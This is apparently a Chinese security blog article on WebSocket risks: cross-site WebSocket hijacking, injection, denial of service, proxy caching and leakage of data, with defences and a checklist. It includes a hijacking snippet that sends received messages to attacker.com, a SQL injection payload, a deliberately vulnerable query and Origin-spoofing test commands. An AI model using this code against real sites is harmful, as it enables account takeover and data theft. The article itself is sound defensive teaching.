WebSocket安全:双向通信的风险

作者:Yolo 发布时间: 2026-06-18 阅读量:4

WebSocket安全:双向通信的风险

WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议。它解决了 HTTP 轮询的效率问题,让服务器可以主动向客户端推送数据。从实时聊天到在线游戏,从股票行情到协同编辑,WebSocket 已经成为现代 Web 应用不可或缺的技术。

但便利往往伴随着风险。WebSocket 的双向、长连接特性,让它成为了攻击者的新目标。

WebSocket 基础

协议握手

WebSocket 连接始于一个 HTTP 升级请求:

GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

服务器响应:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

握手完成后,连接从 HTTP 升级为 WebSocket,后续数据以帧(frame)的形式传输。

与 HTTP 的关键差异

特性HTTPWebSocket
连接模式请求-响应全双工
连接时长短连接长连接
服务器推送不支持(需轮询)原生支持
头部开销每次请求都带握手后无头部
状态管理无状态有状态(连接级)

这些差异带来了全新的安全挑战。

常见攻击面

1. 跨站 WebSocket 劫持(CSWSH)

这是 WebSocket 版的 CSRF。攻击者诱导用户访问恶意页面,该页面尝试建立到目标网站的 WebSocket 连接。

漏洞原理:

WebSocket 握手基于 HTTP,因此会携带用户的 Cookie。如果服务器仅依赖 Cookie 进行身份验证,攻击者就能以用户身份建立连接。

攻击代码:

// 攻击者的恶意页面
var ws = new WebSocket('wss://victim.com/chat');

ws.onopen = function() {
    // 连接成功,以受害者身份发送消息
    ws.send(JSON.stringify({
        to: 'admin',
        message: '请重置我的密码为 123456'
    }));
};

ws.onmessage = function(event) {
    // 接收并外泄消息
    fetch('https://attacker.com/steal?data=' + btoa(event.data));
};

防御措施:

  • Origin 校验: 检查 Origin 头,拒绝非预期来源的请求
  • Token 认证: 握手时在 URL 参数或子协议中传递一次性 Token
  • SameSite Cookie: 设置 SameSite=StrictLax
# 正确的 Origin 校验(Python/Flask)
from flask import request, abort

@app.route('/ws')
def websocket_handler():
    origin = request.headers.get('Origin')
    allowed_origins = ['https://example.com', 'https://app.example.com']
    
    if origin not in allowed_origins:
        abort(403)
    
    # 继续处理 WebSocket 握手

2. 消息伪造与注入

WebSocket 消息通常采用 JSON 格式。如果服务器未对消息内容进行充分验证,可能导致各种注入攻击。

SQL 注入示例:

// 客户端发送
ws.send(JSON.stringify({
    action: 'get_history',
    user_id: '1 OR 1=1 --'
}));

如果服务器直接拼接 SQL:

# 危险的代码
query = f"SELECT * FROM messages WHERE user_id = '{data['user_id']}'"

防御措施:

  • 对所有输入进行参数化查询
  • 使用 JSON Schema 验证消息结构
  • 限制消息字段的类型和长度
# 安全的做法
from jsonschema import validate

message_schema = {
    "type": "object",
    "properties": {
        "action": {"type": "string", "enum": ["get_history", "send_msg"]},
        "user_id": {"type": "integer"}
    },
    "required": ["action", "user_id"]
}

def handle_message(data):
    validate(instance=data, schema=message_schema)
    # 现在可以安全地使用参数化查询
    cursor.execute("SELECT * FROM messages WHERE user_id = %s", (data['user_id'],))

3. 拒绝服务(DoS)

WebSocket 的长连接特性使其成为 DoS 攻击的理想目标。

攻击方式:

  1. 连接耗尽: 大量客户端建立连接但不发送数据,耗尽服务器文件描述符
  2. 消息洪泛: 高速发送大量消息,消耗 CPU 和内存
  3. 大消息攻击: 发送超大帧或分片消息,触发内存溢出
防御措施:

// Node.js / ws 库配置
const WebSocket = require('ws');

const wss = new WebSocket.Server({ 
    port: 8080,
    // 限制消息大小(1MB)
    maxPayload: 1024 * 1024,
    // 心跳检测
    perMessageDeflate: false
});

// 连接数限制
const MAX_CONNECTIONS = 10000;
const connectionLimiter = new Map();

wss.on('connection', (ws, req) => {
    const ip = req.socket.remoteAddress;
    
    // IP 级连接限制
    const count = connectionLimiter.get(ip) || 0;
    if (count >= 5) {
        ws.close(1008, 'Too many connections');
        return;
    }
    connectionLimiter.set(ip, count + 1);
    
    // 消息速率限制
    let messageCount = 0;
    const resetInterval = setInterval(() => {
        messageCount = 0;
    }, 1000);
    
    ws.on('message', (data) => {
        messageCount++;
        if (messageCount > 100) {
            ws.close(1008, 'Rate limit exceeded');
            return;
        }
        // 处理消息
    });
    
    ws.on('close', () => {
        clearInterval(resetInterval);
        connectionLimiter.set(ip, (connectionLimiter.get(ip) || 1) - 1);
    });
});

4. 代理与缓存投毒

某些代理服务器不理解 WebSocket,可能错误地缓存或转发消息。

风险场景:

  • 透明代理尝试缓存 WebSocket 流量
  • 负载均衡器未正确配置 sticky session
  • CDN 误将 Upgrade 请求当作普通 HTTP 处理
防御措施:
  • 使用 WSS(WebSocket Secure),强制 TLS 加密
  • 配置正确的 Cache-Control: no-store
  • 确保中间件支持 WebSocket(如 Nginx 的 proxy_http_version 1.1
# Nginx WebSocket 配置
location /ws {
    proxy_pass http://backend;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    
    # 禁用缓存
    proxy_cache off;
    proxy_buffering off;
    
    # 超时配置
    proxy_read_timeout 86400;
    proxy_send_timeout 86400;
}

5. 信息泄露

WebSocket 连接建立后,服务器可能推送敏感信息给未授权的用户。

典型漏洞:

// 聊天应用错误地广播所有消息
ws.on('message', (data) => {
    const msg = JSON.parse(data);
    // 危险:广播给所有连接,不检查权限
    wss.clients.forEach(client => {
        client.send(JSON.stringify(msg));
    });
});

正确做法:

// 基于房间的权限控制
class ChatRoom {
    constructor() {
        this.rooms = new Map(); // roomId -> Set<ws>
        this.userRooms = new Map(); // ws -> Set<roomId>
    }
    
    join(ws, roomId, userId) {
        // 验证用户是否有权限加入该房间
        if (!this.canAccess(userId, roomId)) {
            ws.close(1008, 'Access denied');
            return;
        }
        
        if (!this.rooms.has(roomId)) {
            this.rooms.set(roomId, new Set());
        }
        this.rooms.get(roomId).add(ws);
        this.userRooms.get(ws).add(roomId);
    }
    
    broadcast(roomId, message, senderWs) {
        const room = this.rooms.get(roomId);
        if (!room) return;
        
        room.forEach(client => {
            // 可选:排除发送者
            if (client !== senderWs && client.readyState === WebSocket.OPEN) {
                client.send(JSON.stringify(message));
            }
        });
    }
}

安全测试方法

手工测试

  1. Origin 校验测试:
# 使用 wscat 测试 Origin 校验
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
# 如果连接成功,说明 Origin 校验缺失
  1. 认证绕过测试:
# 不带 Cookie 尝试连接
wscat -c "wss://target.com/ws" --no-check
# 观察是否能接收数据
  1. 消息格式测试:
// 发送畸形数据
ws.send("not json");
ws.send("{invalid json");
ws.send(JSON.stringify({action: null}));
ws.send(JSON.stringify({action: "A".repeat(10000)}));

自动化工具

  • Burp Suite: 支持 WebSocket 拦截和重放
  • OWASP ZAP: 可扫描 WebSocket 漏洞
  • wscat: 命令行 WebSocket 客户端

安全开发 checklist

  • [ ] 握手时校验 Origin 头
  • [ ] 使用 Token 而非仅依赖 Cookie 认证
  • [ ] 实施消息格式验证(JSON Schema)
  • [ ] 设置消息大小限制
  • [ ] 实施速率限制
  • [ ] 限制单 IP 连接数
  • [ ] 使用 WSS 而非 WS
  • [ ] 实施基于角色的消息路由
  • [ ] 配置心跳检测(ping/pong)
  • [ ] 记录和监控异常连接模式
  • [ ] 设置合理的连接超时
  • [ ] 禁用不必要的子协议

总结

WebSocket 为 Web 应用带来了实时通信的能力,但也引入了新的攻击面。跨站劫持、消息注入、拒绝服务、信息泄露是主要风险。

安全使用 WebSocket 的关键在于:

  1. 严格的 Origin 和认证校验 — 防止未授权连接
  2. 输入验证和速率限制 — 防止注入和 DoS
  3. 最小权限的消息路由 — 防止信息泄露
  4. WSS 加密传输 — 防止中间人攻击
记住:WebSocket 不是 HTTP,不能简单套用 HTTP 的安全模型。它的有状态、双向特性需要专门的安全设计。